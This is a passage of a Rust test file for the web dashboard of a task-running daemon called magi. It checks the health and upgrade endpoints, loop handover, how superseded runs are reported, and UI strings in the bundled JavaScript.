13061 .expect("write magi.toml");
13062 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13063
13064 let health = fx.get("/api/health").await.json();
13065 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13066 assert_eq!(
13067 health["update"]["available"], false,
13068 "checking is off, which reads as \"unknown\", not \"none\""
13069 );
13070 assert!(health["update"]["to"].is_null());
13071 assert!(
13072 health["upgrade"].is_null(),
13073 "nothing has ever asked this deck to upgrade"
13074 );
13075 }
13076
13077 #[tokio::test]
13078 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13079 let fx = Fixture::start().await;
13080 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13081
13082 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13083 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13084 progress.advance(crate::updater::Stage::Parking);
13085 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13086
13087 let health = fx.get("/api/health").await.json();
13088 assert_eq!(health["upgrade"]["stage"], "parking");
13089 assert_eq!(health["upgrade"]["from"], "0.5.1");
13090 assert_eq!(health["upgrade"]["to"], "0.5.2");
13091 let waiting_on = health["upgrade"]["waiting_on"]
13092 .as_str()
13093 .expect("waiting_on is set while parking a known run");
13094 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13095 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13096 }
13097
13098 #[tokio::test]
13099 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13100 let fx = Fixture::start().await;
13101 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13102 progress.advance(crate::updater::Stage::Done);
13103 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13104
13105 let health = fx.get("/api/health").await.json();
13106 assert_eq!(health["upgrade"]["stage"], "done");
13107 assert!(
13108 health["upgrade"]["waiting_on"].is_null(),
13109 "nothing to wait on once it is done"
13110 );
13111 }
13112
13113 #[tokio::test]
13114 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13115 let home = TempDir::new().expect("temp home");
13116 let runs = home.path().join("runs");
13117 std::fs::create_dir_all(&runs).expect("runs dir");
13118 let ui = Ui::new(
13119 Queue::at(home.path().join("queue")),
13120 Questions::at(home.path().join("questions")),
13121 Talks::at(home.path().join("talks")),
13122 runs,
13123 home.path().to_path_buf(),
13124 PathBuf::from("/repo/magi"),
13125 )
13126 .with_launch(launch_idle);
13127 let looping = ui.looping();
13128 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13129 .await
13130 .expect("bind loopback");
13131 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13132
13133 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13134 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13135
13136 hand_over(home.path(), &looping, served, |_| Ok(()))
13137 .await
13138 .expect("hand over");
13139
13140 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13141 assert_eq!(
13142 after.stage,
13143 crate::updater::Stage::Restarting,
13144 "hand_over owns the record through parking and up to restarting; \
13145 the successor is what finishes it"
13146 );
13147 }
13148
13149 fn idle_ui(home: &TempDir) -> Ui {
13150 let runs = home.path().join("runs");
13151 std::fs::create_dir_all(&runs).expect("runs dir");
13152 Ui::new(
13153 Queue::at(home.path().join("queue")),
13154 Questions::at(home.path().join("questions")),
13155 Talks::at(home.path().join("talks")),
13156 runs,
13157 home.path().to_path_buf(),
13158 PathBuf::from("/repo/magi"),
13159 )
13160 .with_launch(launch_idle)
13161 }
13162
13163 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13165 let looping = ui.looping();
13166 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13167 .await
13168 .expect("bind loopback");
13169 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13170 let told = std::sync::Mutex::new(None);
13171 hand_over(home.path(), &looping, served, |resume| {
13172 *told.lock().unwrap() = Some(resume);
13173 Ok(())
13174 })
13175 .await
13176 .expect("hand over");
13177 told.into_inner().unwrap().expect("successor was started")
13178 }
13179
13180 #[tokio::test]
13181 async fn a_running_loop_is_resumed_by_the_successor() {
13182 let home = TempDir::new().expect("temp home");
13183 let ui = idle_ui(&home);
13184 ui.start_loop(None).expect("start");
13185 ui.park_for_upgrade().expect("park");
13186 for _ in 0..500 {
13188 if !ui.loop_view(None).running {
13189 break;
13190 }
13191 tokio::time::sleep(Duration::from_millis(2)).await;
13192 }
13193 assert!(handed_over(&home, ui).await, "a running loop must resume");
13194
13195 let successor = idle_ui(&home);
13196 assert!(!successor.loop_view(None).running);
13197 assert!(successor.resume_after_handover(true));
13198 assert!(successor.loop_view(None).running);
13199 successor.stop_loop(None, false).expect("stop");
13200 }
13201
13202 #[tokio::test]
13203 async fn a_second_upgrade_request_keeps_the_resume_intent() {
13204 let home = TempDir::new().expect("temp home");
13205 let ui = idle_ui(&home);
13206 ui.start_loop(None).expect("start");
13207 ui.park_for_upgrade().expect("first park");
13208 ui.park_for_upgrade().expect("second park");
13209 assert!(handed_over(&home, ui).await);
13210 }
13211
13212 #[tokio::test]
13213 async fn a_stop_during_the_handover_wait_is_honoured() {
13214 let home = TempDir::new().expect("temp home");
13215 let ui = idle_ui(&home);
13216 ui.start_loop(None).expect("start");
13217 ui.park_for_upgrade().expect("park");
13218 ui.stop_loop(None, false).expect("stop");
13219 assert!(!handed_over(&home, ui).await);
13220 }
13221
13222 #[tokio::test]
13223 async fn an_idle_loop_stays_stopped_across_the_handover() {
13224 let home = TempDir::new().expect("temp home");
13225 let ui = idle_ui(&home);
13226 ui.park_for_upgrade().expect("park");
13227 assert!(!handed_over(&home, ui).await);
13228
13229 let successor = idle_ui(&home);
13230 assert!(!successor.resume_after_handover(false));
13231 assert!(!successor.loop_view(None).running);
13232 }
13233
13234 #[tokio::test]
13235 async fn a_loop_the_operator_stopped_is_not_resumed() {
13236 let home = TempDir::new().expect("temp home");
13237 let ui = idle_ui(&home);
13238 ui.start_loop(None).expect("start");
13239 ui.stop_loop(None, false).expect("stop");
13240 ui.park_for_upgrade().expect("park");
13241 assert!(!handed_over(&home, ui).await);
13242 }
13243
13244 #[test]
13245 fn only_an_explicit_one_requests_a_resume() {
13246 assert!(!resume_requested(None));
13247 assert!(!resume_requested(Some("0".into())));
13248 assert!(!resume_requested(Some("".into())));
13249 assert!(resume_requested(Some("1".into())));
13250 }
13251
13252 #[test]
13253 fn the_upgrade_button_arms_before_it_restarts_anything() {
13254 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
13257 assert!(APP_JS.contains("Replace the binary and restart?"));
13258 assert!(APP_JS.contains("function confirmed("));
13259 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
13264 assert!(
13268 APP_JS.contains("Parking, then restarting"),
13269 "the button says what it is waiting for"
13270 );
13271 assert!(APP_JS.contains("if (!out.to)"));
13274 }
13275
13276 #[test]
13277 fn stopping_the_loop_arms_but_starting_does_not() {
13278 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
13281 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
13282 assert!(APP_JS.contains("confirmed(button, question)"));
13283 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
13286 assert!(APP_JS.contains("const label = btn.textContent;"));
13287 assert!(!APP_JS.contains("Neither direction is guarded"));
13288 }
13289
13290 #[test]
13291 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
13292 assert!(
13293 APP_JS.contains("state.health.version"),
13294 "the operator wants to know what is running even with nothing newer"
13295 );
13296 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
13297 }
13298
13299 #[test]
13300 fn the_upgrade_button_names_its_destination() {
13301 assert!(
13302 APP_JS.contains("`Update to ${update.to}`"),
13303 "pressing the button should not be a surprise about what it moves to"
13304 );
13305 }
13306
13307 #[test]
13308 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
13309 for stage in ["downloading", "replaced", "parking", "restarting"] {
13310 assert!(
13311 APP_JS.contains(&format!("\"{stage}\"")),
13312 "the phone must be able to tell {stage} apart from the others"
13313 );
13314 }
13315 assert!(APP_JS.contains(".waiting_on"));
13316 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
13321 assert!(APP_JS.contains("reconnects on its own"));
13322 }
13323
13324 #[test]
13325 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
13326 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
13335 ..APP_JS.find("function upgrade(").expect("upgrade")];
13336 assert!(
13337 !body.contains(
13338 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
13339 ),
13340 "a failed upgrade must not take the whole strip over the way it used to"
13341 );
13342 assert!(
13343 body.contains("upgradeFailNote"),
13344 "the failure has to reach the loop's own note instead"
13345 );
13346 assert_eq!(
13350 body.matches("upgradeFailNote].filter(Boolean).join")
13351 .count(),
13352 2,
13353 "both loop-why writers (quiet and control) must fold the note in"
13354 );
13355 }
13356
13357 #[test]
13358 fn an_overdue_upgrade_eventually_asks_for_a_human() {
13359 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
13362 assert!(APP_JS.contains("function upgradeOverdue("));
13363 }
13364
13365 #[test]
13366 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
13367 assert!(
13368 APP_JS.contains("Updated to ${upgradeInfo.to"),
13369 "the operator who asked for the restart wants to know it worked"
13370 );
13371 }
13372
13373 #[test]
13374 fn an_error_is_visible_from_where_the_button_is() {
13375 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
13380 ..APP_CSS.find(".alert-text").expect(".alert-text")];
13381 assert!(
13382 alert.contains("position: fixed"),
13383 "an error about the thing under your thumb has to be visible from \
13384 where your thumb is: {alert}"
13385 );
13386 assert!(
13387 alert.contains("z-index: 25"),
13388 "above the dock (20) and the run-actions FAB (15), so neither \
13389 buries it: {alert}"
13390 );
13391 assert!(
13392 alert.contains("var(--tap)"),
13393 "and clear of the dock and the home indicator: {alert}"
13394 );
13395 assert!(
13398 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
13399 "the FAB's column stays free: {alert}"
13400 );
13401 }
13402
13403 #[tokio::test]
13404 async fn an_older_attempt_says_what_replaced_it() {
13405 let fx = Fixture::start().await;
13406 let q = fx.queue();
13407 let runs = fx.runs();
13408 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13409 write_run(&runs, first, RunStatus::Stalled);
13410 write_run(&runs, second, RunStatus::Blocked);
13411
13412 let mut t = Task::new(
13413 "one task".to_owned(),
13414 "do it".to_owned(),
13415 PathBuf::from("/repo"),
13416 Source::Human,
13417 );
13418 t.runs = vec![first.to_owned(), second.to_owned()];
13419 q.put(&mut t).expect("put");
13420
13421 let rows = fx.get("/api/runs").await.json();
13425 let by = |short: &str| -> Value {
13426 rows.as_array()
13427 .unwrap()
13428 .iter()
13429 .find(|r| r["short"] == short)
13430 .cloned()
13431 .unwrap_or(Value::Null)
13432 };
13433 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
13434 assert!(
13435 by("bbbb")["superseded_by"].is_null(),
13436 "the latest attempt is not superseded by anything"
13437 );
13438 assert!(APP_JS.contains("run.superseded_by"));
13440 assert!(APP_JS.contains("Superseded by"));
13441 }
13442
13443 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
13444 let mut t = Task::new(
13445 "one task".to_owned(),
13446 "do it".to_owned(),
13447 PathBuf::from("/repo"),
13448 Source::Human,
13449 );
13450 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
13451 t.status = status;
13452 t
13453 }
13454
13455 #[test]
13456 fn source_link_picks_the_page_that_filed_the_task() {
13457 let agent = |node: &str| Source::Agent {
13458 run: "20260904-014455-ab12".to_owned(),
13459 node: node.to_owned(),
13460 };
13461 let chat = source_link(&agent("chat")).expect("chat link");
13462 assert_eq!(chat.kind, "chat");
13463 assert_eq!(chat.id, "20260904-014455-ab12");
13464 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
13465 let run = source_link(&agent("implement")).expect("run link");
13466 assert_eq!(
13467 (run.kind, run.href.as_str()),
13468 ("run", "#/runs/20260904-014455-ab12")
13469 );
13470 assert_eq!(source_link(&Source::Human), None);
13471 assert_eq!(
13472 source_link(&Source::Issue {
13473 number: 3,
13474 repo: "o/r".to_owned()
13475 }),
13476 None
13477 );
13478 let odd = source_link(&Source::Agent {
13479 run: "a b/c".to_owned(),
13480 node: "chat".to_owned(),
13481 })
13482 .expect("link");
13483 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
13484 }
13485
13486 #[test]
13487 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
13488 assert!(
13489 !APP_JS.contains("src.node === \"chat\""),
13490 "inline href rule is back"
13491 );
13492 assert!(
13493 APP_JS.matches("sourceLinkOf(").count() >= 4,
13494 "helper must serve every page"
13495 );
13496 assert!(
13497 APP_JS.matches("openChatLink(").count() >= 3,
13498 "the run page still needs its explicit chat link"
13499 );
13500 assert!(
13501 !APP_JS.contains("const openChat = el("),
13502 "the Queue card duplicates its source label link again"
13503 );
13504 assert!(
13505 APP_JS.contains("metaKids.push(link ? el(\"a\""),
13506 "the task page must link a chat source label too"
13507 );
13508 }
13509
13510 #[test]
13511 fn task_ref_carries_the_source_link_for_a_chat_task() {
13512 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13513 t.source = Source::Agent {
13514 run: "20260904-014455-ab12".to_owned(),
13515 node: "chat".to_owned(),
13516 };
13517 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
13518 let v = serde_json::to_value(&out).expect("json");
13519 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
13520 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
13521 assert_eq!(v["source_label"], t.source.label());
13522
13523 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
13524 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
13525 .expect("json");
13526 assert!(v["source_link"].is_null(), "{v}");
13527 }
13528
13529 #[test]
13530 fn task_view_serializes_source_link() {
13531 let mut t = Task::new(
13532 "t".to_owned(),
13533 "t".to_owned(),
13534 PathBuf::from("/repo"),
13535 Source::Agent {
13536 run: "20260901-000000-aaaa".to_owned(),
13537 node: "implement".to_owned(),
13538 },
13539 );
13540 t.runs.clear();
13541 let v = serde_json::to_value(TaskView::from(t)).expect("json");
13542 assert_eq!(v["source_link"]["kind"], "run", "{v}");
13543 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
13544 }
13545
13546 #[tokio::test]
13547 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
13548 let fx = Fixture::start().await;
13549 let runs = fx.runs();
13550 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13551 write_run(&runs, old, RunStatus::Blocked);
13552 write_run(&runs, new, RunStatus::Merged);
13553 let mut t = outcome_task(&[old, new], TaskStatus::Done);
13554 fx.queue().put(&mut t).expect("put");
13555
13556 let view = fx.get(&format!("/api/runs/{old}")).await.json();
13557 let task = &view["task"];
13558 assert_eq!(task["status"], "done");
13559 assert_eq!(task["is_latest"], false);
13560 assert_eq!(task["latest"]["short"], "bbbb");
13561 assert_eq!(task["finished_by"]["id"], new);
13562 assert_eq!(task["finished_by"]["outcome"], "merged");
13563 assert_eq!(task["closed_by_hand"], false);
13564 assert_eq!(view["status"], "blocked", "the run keeps its own status");
13565 assert!(APP_JS.contains("finished_by"));
13566 assert!(APP_JS.contains("superseded by run"));
13567 }
13568
13569 #[tokio::test]
13570 async fn the_latest_run_reports_a_held_task_without_a_successor() {
13571 let fx = Fixture::start().await;
13572 let runs = fx.runs();
13573 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
13574 write_run(&runs, old, RunStatus::Stalled);
13575 write_run(&runs, new, RunStatus::Blocked);
13576 let mut t = outcome_task(&[old, new], TaskStatus::Held);
13577 fx.queue().put(&mut t).expect("put");
13578
13579 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
13580 assert_eq!(task["status"], "held");
13581 assert_eq!(task["is_latest"], true);
13582 assert!(task["latest"].is_null());
13583 assert!(task["finished_by"].is_null());
13584 assert_eq!(task["closed_by_hand"], false);
13585 }
13586
13587 #[tokio::test]
13588 async fn a_direct_run_has_no_task_outcome() {
13589 let fx = Fixture::start().await;
13590 let runs = fx.runs();
13591 let id = "20260901-000000-aaaa";
13592 write_run(&runs, id, RunStatus::Blocked);
13593 let view = fx.get(&format!("/api/runs/{id}")).await.json();
13594 assert!(view["task"].is_null());
13595 }
13596
13597 #[test]
13598 fn task_outcome_does_not_guess_a_finishing_run() {
13599 let a = "20260901-000000-aaaa";
13600 let b = "20260901-000000-bbbb";
13601 let c = "20260901-000000-cccc";
13602 let dir = tempfile::tempdir().expect("tempdir");
13603 write_run(dir.path(), a, RunStatus::Blocked);
13604 write_run(dir.path(), b, RunStatus::VerifiedNoop);
13605 let read = |id: &str| read_run(dir.path(), id).ok();
13607 let t = outcome_task(&[a, b, c], TaskStatus::Done);
13610 let out = task_outcome(&t, a, 3, read);
13611 assert!(out.finished_by.is_none());
13612 assert!(out.closed_by_hand);
13613 let latest = out.latest.expect("latest");
13614 assert_eq!(latest.id, c);
13615 assert_eq!(latest.status, None);
13616 assert_eq!(latest.outcome, "record unreadable");
13617
13618 write_run(dir.path(), c, RunStatus::Ready);
13620 let t = outcome_task(&[a, c], TaskStatus::Done);
13621 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
13622 assert_eq!(out.finished_by.expect("finisher").id, c);
13623 assert!(!out.closed_by_hand);
13624
13625 let t = outcome_task(&[a, b, a], TaskStatus::Held);
13627 assert!(task_outcome(&t, a, 3, read).is_latest);
13628 }
13629
13630 #[tokio::test]
13631 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
13632 let fx = Fixture::start().await;
13637 let q = fx.queue();
13638 let runs = fx.runs();
13639 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
13640 write_run(&runs, first, RunStatus::Blocked);
13641 write_run(&runs, second, RunStatus::Merged);
13642
13643 let mut t = Task::new(
13644 "one task".to_owned(),
13645 "do it".to_owned(),
13646 PathBuf::from("/repo"),
13647 Source::Human,
13648 );
13649 t.runs = vec![first.to_owned(), second.to_owned()];
13650 q.put(&mut t).expect("put");
13651
13652 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
13653 assert_eq!(earlier["superseded_by"], "dddd");
13654 assert_eq!(earlier["latest_attempt"]["id"], second);
13655 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
13656 assert_eq!(
13657 earlier["latest_attempt"]["resolved"], true,
13658 "the run that replaced it landed, so this one reads as settled"
13659 );
13660
13661 let later = fx.get(&format!("/api/runs/{second}")).await.json();
13662 assert!(
13663 later["superseded_by"].is_null(),
13664 "the latest attempt is not superseded by anything"
13665 );
13666 assert!(
13667 later["latest_attempt"].is_null(),
13668 "the latest attempt has no later attempt of its own"
13669 );
13670
13671 assert!(APP_JS.contains("run.latest_attempt"));
13678 assert!(APP_JS.contains("data-superseded"));
13679 assert!(APP_JS.contains("#/runs/${latest.id}"));
13680 }
13681
13682 #[tokio::test]
13683 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
13684 let fx = Fixture::start().await;
13690 let q = fx.queue();
13691 let runs = fx.runs();
13692 let (a, b, c) = (
13693 "20260901-000000-aaaa",
13694 "20260901-000000-bbbb",
13695 "20260901-000000-cccc",
13696 );
13697 write_run(&runs, a, RunStatus::Blocked);
13698 write_run(&runs, b, RunStatus::Blocked);
13699 write_run(&runs, c, RunStatus::Merged);
13700
13701 let mut t = Task::new(
13702 "retried twice".to_owned(),
13703 "do it".to_owned(),
13704 PathBuf::from("/repo"),
13705 Source::Human,
13706 );
13707 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
13708 q.put(&mut t).expect("put");
13709
13710 let view = fx.get(&format!("/api/runs/{a}")).await.json();
13711 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
13712 assert_eq!(
13713 view["latest_attempt"]["id"], c,
13714 "the chain's current head, not the intermediate Blocked retry"
13715 );
13716 assert_eq!(view["latest_attempt"]["resolved"], true);
13717
13718 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
13719 assert_eq!(mid["latest_attempt"]["id"], c);
13720 assert_eq!(mid["latest_attempt"]["resolved"], true);
13721 }
13722
13723 #[tokio::test]
13724 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
13725 let fx = Fixture::start().await;
13726 let q = fx.queue();
13727 let runs = fx.runs();
13728
13729 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
13732 write_run(&runs, still_blocked_a, RunStatus::Blocked);
13733 write_run(&runs, still_blocked_b, RunStatus::Blocked);
13734 let mut t1 = Task::new(
13735 "still stuck".to_owned(),
13736 "do it".to_owned(),
13737 PathBuf::from("/repo"),
13738 Source::Human,
13739 );
13740 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
13741 q.put(&mut t1).expect("put");
13742 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
13743 assert_eq!(view1["latest_attempt"]["resolved"], false);
13744 assert_eq!(view1["latest_attempt"]["status"], "blocked");
13745 assert_eq!(view1["latest_attempt"]["done"], true);
13746
13747 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
13749 write_run(&runs, run_a, RunStatus::Blocked);
13750 write_run(&runs, run_b, RunStatus::Implementing);
13751 let mut t3 = Task::new(
13752 "retrying".to_owned(),
13753 "do it".to_owned(),
13754 PathBuf::from("/repo"),
13755 Source::Human,
13756 );
13757 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
13758 q.put(&mut t3).expect("put");
13759 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
13760 assert_eq!(view3["latest_attempt"]["id"], run_b);
13761 assert_eq!(view3["latest_attempt"]["resolved"], false);
13762 assert_eq!(view3["latest_attempt"]["done"], false);
13763
13764 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
13769 write_run(&runs, noop_a, RunStatus::Blocked);
13770 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
13771 let mut t2 = Task::new(
13772 "claims done".to_owned(),
13773 "do it".to_owned(),
13774 PathBuf::from("/repo"),
13775 Source::Human,
13776 );
13777 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
13778 q.put(&mut t2).expect("put");
13779 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
13780 assert_eq!(
13781 view2["latest_attempt"]["resolved"], false,
13782 "an unverified no-op claim must not read as a confirmed finish"
13783 );
13784
13785 assert!(APP_JS.contains("latest.resolved"));
13788 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
13791 assert!(APP_JS.contains("Latest attempt: "));
13792 assert!(APP_JS.contains("in flight"));
13793 assert!(APP_JS.contains("not resolved"));
13794 }
13795
13796 #[tokio::test]
13797 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
13798 let fx = Fixture::start().await;
13799 let js = fx.get("/app.js").await;
13805 assert_eq!(js.status, 200);
13806 let tag = js
13807 .header("etag")
13808 .expect("an etag to revalidate against")
13809 .to_owned();
13810 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
13811 assert_eq!(
13812 js.header("cache-control"),
13813 Some("no-cache, must-revalidate"),
13814 "the phone has to ask every time"
13815 );
13816
13817 let again = fx
13820 .get_with("/app.js", &[("if-none-match", tag.as_str())])
13821 .await;
13822 assert_eq!(
13823 again.status, 304,
13824 "a deck it already has costs one round trip"
13825 );
13826 assert!(again.body.is_empty(), "304 carries no body");
13827
13828 let weak = fx
13831 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
13832 .await;
13833 assert_eq!(weak.status, 304);
13834 let stale = fx
13835 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
13836 .await;
13837 assert_eq!(stale.status, 200, "an older build must be replaced");
13838 assert!(stale.body.contains("renderRunActions"));
13839 }
13840
13841 #[test]
13842 fn the_task_detail_has_an_actions_fab_and_sheet() {
13843 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
13844 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
13845 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
13846 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
13848 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
13849 assert!(APP_JS.contains("renderTaskActions(task);"));
13851 assert!(APP_JS.contains("renderTaskActions(null);"));
13852 let sheet = APP_JS
13854 .find("function renderTaskActions")
13855 .expect("sheet renderer");
13856 let body = &APP_JS[sheet..sheet + 3000];
13857 assert!(body.contains("changePriority("));
13858 assert!(body.contains("openTaskEdit(task)"));
13859 assert!(body.contains("renderTaskHoldBox(host"));
13860 assert!(body.contains("renderTaskDoneBox(host"));
13861 assert!(body.contains("renderTaskDeleteBox(host"));
13862 assert!(APP_JS.contains("API.priority(id)"));
13863 assert!(APP_JS.contains("API.deleteTask(id)"));
13864 assert!(APP_JS.contains("location.hash = \"#/queue\""));
13866 assert!(APP_JS.contains("$(\"task-actions-error\")"));
13868 }
13869
13870 #[test]
13871 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
13872 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
13873 let actions = INDEX_HTML
13874 .find("id=\"run-actions-box\"")
13875 .expect("actions box");
13876 assert!(task < actions, "the task entry comes first in the sheet");
13877 assert!(APP_JS.contains("renderRunTaskEntry"));
13878 assert!(APP_JS.contains("\"Open task \""));
13879 assert!(APP_JS.contains("started directly, no task"));
13881 assert!(APP_JS.contains("sheet-task-link"));
13882 assert!(APP_JS.contains("task-chip-link"));
13883 }
13884
13885 #[test]
13886 fn the_deck_never_sends_the_operator_to_a_terminal() {
13887 assert!(
13890 !APP_JS.contains("Run `magi fold` first"),
13891 "the deck must offer the fold, not prescribe a shell command"
13892 );
13893 assert!(APP_JS.contains("foldRun:"));
13894 assert!(APP_JS.contains("resumeRun:"));
13895 assert!(APP_JS.contains("renderRunActions"));
13896
13897 assert!(APP_JS.contains("armedFold"));
13899 assert!(APP_JS.contains("Yes, fold worktrees"));
13900
13901 assert!(APP_JS.contains("can no longer be resumed"));
13904 }
13905
13906 #[test]
13907 fn a_finished_run_explains_itself_with_its_own_last_line() {
13908 assert!(
13914 !APP_JS.contains("collapsed on agent quota"),
13915 "a stall must not be explained by a cause the deck did not check"
13916 );
13917 assert!(
13918 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
13919 "and a block must not offer a guess with an `or` in it"
13920 );
13921
13922 assert!(
13926 APP_JS.contains("setText(r.event, run.event || \"\")"),
13927 "the run's last line is rendered unconditionally"
13928 );
13929 assert!(
13930 !APP_JS.contains("moving && run.event"),
13931 "and never gated on the run still moving"
13932 );
13933
13934 assert!(APP_JS.contains("lost to quota"));
13936 }
13937
13938 #[test]
13960 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
13961 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
13962 let shapes_body_start =
13963 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
13964 let shapes_close = APP_JS[shapes_body_start..]
13965 .find("].map(")
13966 .expect("the shape list is closed by its done-computing .map(...)")
13967 + shapes_body_start;
13968 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
13969
13970 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
13971 for entry in shapes_src.split('{').skip(1) {
13972 let waiting = entry.contains("waiting: true");
13973 let dead = entry.contains("live: \"dead\"");
13974 let status_at =
13975 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
13976 let status_end = entry[status_at..]
13977 .find('"')
13978 .expect("the status string is closed")
13979 + status_at;
13980 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
13981 }
13982 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
13983
13984 let done_rule_marker = "done: !";
13988 let done_rule_at = APP_JS[shapes_close..]
13989 .find(done_rule_marker)
13990 .expect("the done rule follows the shape list")
13991 + shapes_close
13992 + done_rule_marker.len();
13993 let includes_at = APP_JS[done_rule_at..]
13994 .find(".includes(shape.status)")
13995 .expect("the done rule ends in .includes(shape.status)")
13996 + done_rule_at;
13997 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
13998 .trim()
13999 .trim_start_matches('[')
14000 .trim_end_matches(']')
14001 .split(',')
14002 .map(|s| s.trim().trim_matches('"'))
14003 .filter(|s| !s.is_empty())
14004 .collect();
14005
14006 let shapes: Vec<(bool, String, bool, bool)> = shapes
14007 .into_iter()
14008 .map(|(waiting, status, dead)| {
14009 let done = !not_done.contains(&status.as_str());
14010 (waiting, status, dead, done)
14011 })
14012 .collect();
14013
14014 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
14018 if waiting {
14019 return "waiting";
14020 }
14021 if dead
14022 && !matches!(
14023 status,
14024 "merged"
14025 | "ready"
14026 | "stalled"
14027 | "blocked"
14028 | "failed"
14029 | "verified_noop"
14030 | "superseded"
14031 | "already_in_base"
14032 )
14033 {
14034 return "stale";
14035 }
14036 match status {
14037 "merged" | "ready" => "landed",
14038 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
